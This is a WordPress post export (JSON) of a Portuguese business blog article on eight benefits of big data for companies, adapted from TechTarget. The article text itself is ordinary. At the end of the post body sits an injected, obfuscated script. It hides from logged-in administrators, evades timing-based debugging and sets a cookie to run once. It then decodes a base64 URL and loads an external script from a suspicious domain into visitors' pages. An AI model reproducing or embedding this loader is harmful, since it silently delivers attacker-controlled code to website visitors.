{"id":994,"date":"2024-02-26T18:33:29","date_gmt":"2024-02-26T18:33:29","guid":{"rendered":"https:\/\/4strats.com.br\/?p=994"},"modified":"2026-01-28T22:02:36","modified_gmt":"2026-01-28T22:02:36","slug":"8-beneficios-uso-bigdata-negocios","status":"publish","type":"post","link":"https:\/\/4strats.com.br\/new\/big-data\/8-beneficios-uso-bigdata-negocios\/","title":{"rendered":"8 Benef\u00edcios do uso de BIGDATA para Neg\u00f3cios"},"content":{"rendered":"\n<p>Quando os l\u00edderes empresariais ouvem o termo <strong><em><a href=\"https:\/\/4strats.com.br\/servicos\/\">bigdata<\/a><\/em><\/strong>\u00a0, pensam naturalmente nos enormes volumes de dados dispon\u00edveis hoje.\u00a0Esses dados s\u00e3o criados por sistemas de com\u00e9rcio eletr\u00f4nico e marketing omnichannel, ou por dispositivos conectados \u00e0 IoT, ou por aplicativos de neg\u00f3cios que geram informa\u00e7\u00f5es cada vez mais detalhadas sobre transa\u00e7\u00f5es e atividades.\u00a0E esses s\u00e3o apenas alguns exemplos.<\/p>\n\n\n\n<p>Bigdata \u00e9 um excelente recurso para conduzir decis\u00f5es e mudan\u00e7as de business intelligence.\u00a0Agora, vejamos oito maneiras pelas quais o big data pode melhorar a forma como fazemos neg\u00f3cios.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Melhor percep\u00e7\u00e3o do cliente<\/h3>\n\n\n\n<p>Quando uma empresa moderna recorre a dados para compreender os seus clientes \u2013 seja individualmente ou em categorias \u2013 tem uma vasta gama de fontes \u00e0 sua escolha.&nbsp;As fontes de big data que esclarecem os clientes incluem o seguinte:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>fontes tradicionais de dados de clientes, como compras e liga\u00e7\u00f5es de suporte;<\/li>\n\n\n\n<li>fontes externas, como transa\u00e7\u00f5es financeiras e relat\u00f3rios de cr\u00e9dito;<\/li>\n\n\n\n<li>atividade nas redes sociais;<\/li>\n\n\n\n<li>dados de pesquisas internas e externas;&nbsp;e<\/li>\n\n\n\n<li>biscoitos de computador.<\/li>\n<\/ul>\n\n\n\n<p>A an\u00e1lise do fluxo de cliques da\u00a0atividade de com\u00e9rcio eletr\u00f4nico\u00a0\u00e9 especialmente \u00fatil em um mercado cada vez mais digital, esclarecendo como os clientes navegam pelas diversas p\u00e1ginas da web e menus de uma empresa para encontrar produtos e servi\u00e7os.\u00a0As empresas podem ver quais itens os clientes adicionaram aos seus carrinhos, mas talvez removeram ou abandonaram posteriormente sem comprar;\u00a0isso fornece pistas importantes sobre o que os clientes gostariam de comprar, mesmo que n\u00e3o fa\u00e7am uma compra.<\/p>\n\n\n\n<p>N\u00e3o apenas as lojas on-line, mas tamb\u00e9m os locais f\u00edsicos tamb\u00e9m podem obter uma compreens\u00e3o \u00fatil de seus clientes, muitas vezes analisando v\u00eddeos para saber como os visitantes navegam por uma loja f\u00edsica em compara\u00e7\u00e3o com a navega\u00e7\u00e3o em um site.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. Maior intelig\u00eancia de mercado<\/h3>\n\n\n\n<p>Tal como o big data pode ajudar-nos a analisar mais detalhadamente o complexo comportamento de compra dos clientes, tamb\u00e9m pode aprofundar e alargar a nossa compreens\u00e3o da din\u00e2mica do mercado.<\/p>\n\n\n\n<p>As redes sociais s\u00e3o uma fonte comum de intelig\u00eancia de mercado para categorias de produtos que v\u00e3o desde cereais matinais at\u00e9 pacotes de f\u00e9rias.&nbsp;Para quase todas as transa\u00e7\u00f5es comerciais que voc\u00ea possa imaginar, existem pessoas compartilhando suas prefer\u00eancias, suas experi\u00eancias, suas recomenda\u00e7\u00f5es&#8230; e suas selfies!&nbsp;Sim, at\u00e9 mesmo no caf\u00e9 da manh\u00e3.&nbsp;Essas opini\u00f5es compartilhadas s\u00e3o inestim\u00e1veis \u200b\u200bpara os profissionais de marketing.<\/p>\n\n\n\n<p>Al\u00e9m da an\u00e1lise competitiva, o big data tamb\u00e9m pode ajudar no desenvolvimento de produtos: priorizando diferentes prefer\u00eancias dos clientes, por exemplo.<\/p>\n\n\n\n<p>Na verdade, o big data n\u00e3o ajuda apenas na intelig\u00eancia de mercado moderna;\u00a0em quase todos os mercados de com\u00e9rcio eletr\u00f3nico ou online, quase\u00a0<em>toda<\/em>\u00a0a intelig\u00eancia de mercado \u00e9 impulsionada por dados diversos e em constante mudan\u00e7a.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. Gest\u00e3o \u00e1gil da cadeia de suprimentos<\/h3>\n\n\n\n<p>Quer se trate da escassez de papel higi\u00e9nico e de outros bens provocada pela pandemia, da perturba\u00e7\u00e3o comercial do Brexit ou de um navio preso no Canal de Suez, j\u00e1 deve estar ciente de que as\u00a0cadeias de abastecimento modernas\u00a0s\u00e3o surpreendentemente fr\u00e1geis.<\/p>\n\n\n\n<p>Surpreendente, porque, na maioria das vezes, n\u00e3o reparamos nas nossas cadeias de abastecimento at\u00e9 que haja uma perturba\u00e7\u00e3o verdadeiramente importante.&nbsp;Big data que permite an\u00e1lises preditivas, muitas vezes quase em tempo real, ajuda a manter a nossa rede global de procura, produ\u00e7\u00e3o e distribui\u00e7\u00e3o a funcionar bem na sua maior parte.<\/p>\n\n\n\n<p>Isto \u00e9 poss\u00edvel porque os\u00a0sistemas de big data podem integrar dados\u00a0sobre tend\u00eancias de clientes provenientes de sites de com\u00e9rcio eletr\u00f3nico e aplica\u00e7\u00f5es de retalho com dados de fornecedores, pre\u00e7os em tempo real e at\u00e9 mesmo informa\u00e7\u00f5es sobre envios e condi\u00e7\u00f5es meteorol\u00f3gicas para fornecer um n\u00edvel de informa\u00e7\u00e3o nunca antes visto.<\/p>\n\n\n\n<p>N\u00e3o s\u00e3o apenas as grandes empresas que beneficiam destes conhecimentos.&nbsp;Mesmo as empresas de com\u00e9rcio eletr\u00f3nico de dimens\u00e3o modesta podem utilizar a intelig\u00eancia do cliente e os pre\u00e7os em tempo real para otimizar decis\u00f5es de neg\u00f3cios, tais como n\u00edveis de stock e redu\u00e7\u00e3o de riscos, ou pessoal tempor\u00e1rio ou sazonal.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Recomenda\u00e7\u00f5es e segmenta\u00e7\u00e3o de p\u00fablico mais inteligentes<\/h3>\n\n\n\n<p>Em nossas vidas como consumidores, estamos t\u00e3o familiarizados com os mecanismos de recomenda\u00e7\u00e3o que talvez n\u00e3o tenhamos consci\u00eancia do quanto eles evolu\u00edram desde o\u00a0advento do big data\u00a0.\u00a0Antigamente, a an\u00e1lise preditiva para motores de recomenda\u00e7\u00e3o era bastante simples: regras de associa\u00e7\u00e3o que encontravam os itens comuns nas cestas de mercado.\u00a0Voc\u00ea ainda pode esperar encontrar isso como um recurso em sites de com\u00e9rcio eletr\u00f4nico, informando-nos que os clientes que compraram widgets tamb\u00e9m compraram inquieta\u00e7\u00f5es.<\/p>\n\n\n\n<p>Os sistemas de recomenda\u00e7\u00e3o mais recentes s\u00e3o muito mais inteligentes do que isso, baseados nas sofisticadas percep\u00e7\u00f5es dos clientes que j\u00e1 discutimos, e como resultado podem ser mais sens\u00edveis \u00e0 demografia e ao comportamento do cliente.&nbsp;Esses sistemas tamb\u00e9m n\u00e3o est\u00e3o limitados ao com\u00e9rcio eletr\u00f4nico.&nbsp;As recomenda\u00e7\u00f5es de um gar\u00e7om amig\u00e1vel podem muito bem ser baseadas em dados \u2013 decis\u00f5es motivadas por um sistema de ponto de venda que avalia os n\u00edveis de estoque na despensa, combina\u00e7\u00f5es populares, itens de alto lucro e at\u00e9 mesmo tend\u00eancias de m\u00eddia social.&nbsp;Ao compartilhar uma foto de sua refei\u00e7\u00e3o, voc\u00ea fornece ainda mais informa\u00e7\u00f5es para os mecanismos de big data digerirem.<\/p>\n\n\n\n<p>Os provedores de conte\u00fado de streaming usam t\u00e9cnicas ainda mais sofisticadas.&nbsp;Eles podem nem perguntar aos clientes o que eles querem ver em seguida: mesmo antes do filme, programa ou m\u00fasica atual terminar, a pr\u00f3xima sele\u00e7\u00e3o aparece, mantendo os espectadores assistindo compulsivamente, utilizando suas pr\u00f3prias prefer\u00eancias combinadas com uma grande quantidade de an\u00e1lise de big data coletada. de outros usu\u00e1rios e m\u00eddias sociais.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5. Inova\u00e7\u00e3o baseada em dados<\/h3>\n\n\n\n<p>A inova\u00e7\u00e3o n\u00e3o \u00e9 apenas uma quest\u00e3o de inspira\u00e7\u00e3o.&nbsp;H\u00e1 muito trabalho \u00e1rduo na identifica\u00e7\u00e3o de \u00e1reas tem\u00e1ticas que s\u00e3o promissoras para novos esfor\u00e7os e experimentos.<\/p>\n\n\n\n<p>As diversas\u00a0ferramentas e tecnologias de big data\u00a0dispon\u00edveis podem melhorar a P&amp;D, muitas vezes levando ao desenvolvimento de novos produtos e servi\u00e7os.\u00a0\u00c0s vezes, os dados \u2013 limpos, preparados e controlados para partilha \u2013 tornam-se um produto em si.\u00a0A Bolsa de Valores de Londres, por exemplo, ganha agora mais dinheiro com a venda de dados e an\u00e1lises do que com a negocia\u00e7\u00e3o de t\u00edtulos.<\/p>\n\n\n\n<p>Os dados por si s\u00f3, mesmo com as melhores ferramentas de big data, n\u00e3o produzir\u00e3o novos insights.&nbsp;Ainda precisamos do elemento humano: a compreens\u00e3o e a imagina\u00e7\u00e3o dos cientistas de dados, analistas de BI e outros profissionais de an\u00e1lise.&nbsp;No entanto, a amplitude e o escopo do big data, especialmente quando armazenado em um \u00fanico cluster Hadoop ou em um data lake em nuvem, pode levar as equipes a uma nova compreens\u00e3o das tend\u00eancias que seriam dif\u00edceis de obter em um ambiente menos integrado.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">6. Diversos casos de uso para conjuntos de dados<\/h3>\n\n\n\n<p>V\u00e1rias vezes em minha carreira, vi casos em que dados cuidadosamente preparados e modelados para uma finalidade comercial eram completamente inadequados para outra.<\/p>\n\n\n\n<p>Por exemplo, a equipe de marketing de uma emissora de cart\u00e3o de cr\u00e9dito queria entender como os clientes usavam os diferentes cart\u00f5es que tinham em suas carteiras.&nbsp;A an\u00e1lise foi dificultada pelas in\u00fameras falhas de furtos e transa\u00e7\u00f5es canceladas que eram comuns na \u00e9poca, muitas vezes devido a problemas de conex\u00e3o com o terminal de pagamento ou falhas na tarja magn\u00e9tica dos cart\u00f5es.&nbsp;Portanto, os dados foram cuidadosamente limpos para remover as transa\u00e7\u00f5es com falha.<\/p>\n\n\n\n<p>O resultado foi um conjunto de dados excelente para a aplica\u00e7\u00e3o inicial de marketing.&nbsp;Mas a equipe de preven\u00e7\u00e3o de fraudes n\u00e3o p\u00f4de utiliz\u00e1-lo, porque queria ver as transa\u00e7\u00f5es fracassadas que poderiam ter deixado pistas sobre o uso fraudulento do cart\u00e3o.&nbsp;N\u00e3o s\u00f3 isso, mas os dados removidos estavam sendo arquivados em armazenamento em fita e, portanto, eram de dif\u00edcil acesso.<\/p>\n\n\n\n<p>Na era do big data, podemos armazenar todos os dados brutos como est\u00e3o em um data lake e apenas aplicar modelos de dados a eles quando precisarmos us\u00e1-los para aplica\u00e7\u00f5es anal\u00edticas espec\u00edficas.\u00a0Podemos ent\u00e3o\u00a0projetar pipelines de dados\u00a0especificamente para cada caso de uso ou apenas executar consultas ad hoc para preencher os processos anal\u00edticos.\u00a0Isso permite grande flexibilidade no n\u00famero e nos tipos de aplicativos que podem ser executados no mesmo conjunto de dados.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">7. Opera\u00e7\u00f5es comerciais aprimoradas<\/h3>\n\n\n\n<p>A atividade empresarial de todos os tipos pode ser melhorada com o\u00a0uso de big data\u00a0.\u00a0Ajuda a otimizar processos de neg\u00f3cios para gerar economia de custos, aumentar a produtividade e aumentar a satisfa\u00e7\u00e3o do cliente.\u00a0A contrata\u00e7\u00e3o e a gest\u00e3o de RH podem se tornar mais eficazes.\u00a0Melhor detec\u00e7\u00e3o de fraudes, gerenciamento de riscos e planejamento de seguran\u00e7a cibern\u00e9tica ajudam as organiza\u00e7\u00f5es a reduzir perdas financeiras e evitar poss\u00edveis amea\u00e7as aos neg\u00f3cios.<\/p>\n\n\n\n<p>Uma das aplica\u00e7\u00f5es mais interessantes e gratificantes para\u00a0an\u00e1lise de big data\u00a0\u00e9 melhorar as opera\u00e7\u00f5es f\u00edsicas.\u00a0Por exemplo, a combina\u00e7\u00e3o de big data e ci\u00eancia de dados pode informar cronogramas de manuten\u00e7\u00e3o preditiva para reduzir reparos dispendiosos e tempo de inatividade de equipamentos e sistemas cr\u00edticos.<\/p>\n\n\n\n<p>Voc\u00ea pode come\u00e7ar analisando a idade, condi\u00e7\u00e3o, localiza\u00e7\u00e3o, garantia e detalhes do servi\u00e7o.&nbsp;No entanto, aspectos como os sistemas de seguran\u00e7a e AVAC nas instala\u00e7\u00f5es s\u00e3o notavelmente afectados por outras actividades empresariais, tais como o pessoal e os calend\u00e1rios de produ\u00e7\u00e3o, que podem, por sua vez, ser influenciados pelos ciclos de vendas e, portanto, pelo comportamento do cliente.&nbsp;Conjuntos bem integrados de big data re\u00fanem tudo isso para ajudar voc\u00ea a manter o equipamento no momento ideal.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">8. Plataformas de dados e an\u00e1lises preparadas para o futuro<\/h3>\n\n\n\n<p>As tecnologias e t\u00e9cnicas de an\u00e1lise de dados est\u00e3o se desenvolvendo em um ritmo not\u00e1vel.\u00a0Os requisitos b\u00e1sicos de relat\u00f3rios, BI e an\u00e1lise de autoatendimento j\u00e1 imp\u00f5em grandes demandas aos departamentos de TI.\u00a0As ferramentas de aprendizado de m\u00e1quina, modelagem preditiva e intelig\u00eancia artificial est\u00e3o agora amplamente implantadas e se tornando recursos principais para empresas l\u00edderes.\u00a0Os tipos de dados\u00a0coletados, armazenados e analisados\u00a0\u200b\u200bficam mais diversificados a cada nova gera\u00e7\u00e3o de tecnologia.<\/p>\n\n\n\n<p>Esta diversidade \u2013 e o volume de dados associado \u2013 \u00e9 um desafio hoje.&nbsp;Mas os dados est\u00e3o cada vez mais complexos e exigentes, assim como as necessidades anal\u00edticas.&nbsp;Quem sabe o que enfrentaremos em apenas alguns anos?&nbsp;A flexibilidade e a escala do big data s\u00e3o vantagens essenciais se voc\u00ea deseja construir uma plataforma de dados que n\u00e3o fique desatualizada rapidamente.<\/p>\n\n\n\n<p>Olhando para o futuro, um ambiente de big data \u00e9 um investimento urgente: o ritmo das mudan\u00e7as na\u00a0gest\u00e3o\u00a0e an\u00e1lise de dados est\u00e1 apenas a acelerar.<\/p>\n\n\n\n<p>Artigo originalmente publicado em <a href=\"https:\/\/www.techtarget.com\/searchbusinessanalytics\/feature\/6-big-data-benefits-for-businesses\">Blog TechTarget<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/4strats.com.br\/\">4Strategies &#8211; Alta Performance para estrat\u00e9gias corporativas<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Quando os l\u00edderes empresariais ouvem o termo bigdata\u00a0, pensam naturalmente nos enormes volumes de dados dispon\u00edveis hoje.\u00a0Esses dados s\u00e3o criados por sistemas de com\u00e9rcio eletr\u00f4nico e marketing omnichannel, ou por dispositivos conectados \u00e0 IoT, ou por aplicativos de neg\u00f3cios que geram informa\u00e7\u00f5es cada vez mais detalhadas sobre transa\u00e7\u00f5es e atividades.\u00a0E esses s\u00e3o apenas alguns exemplos. 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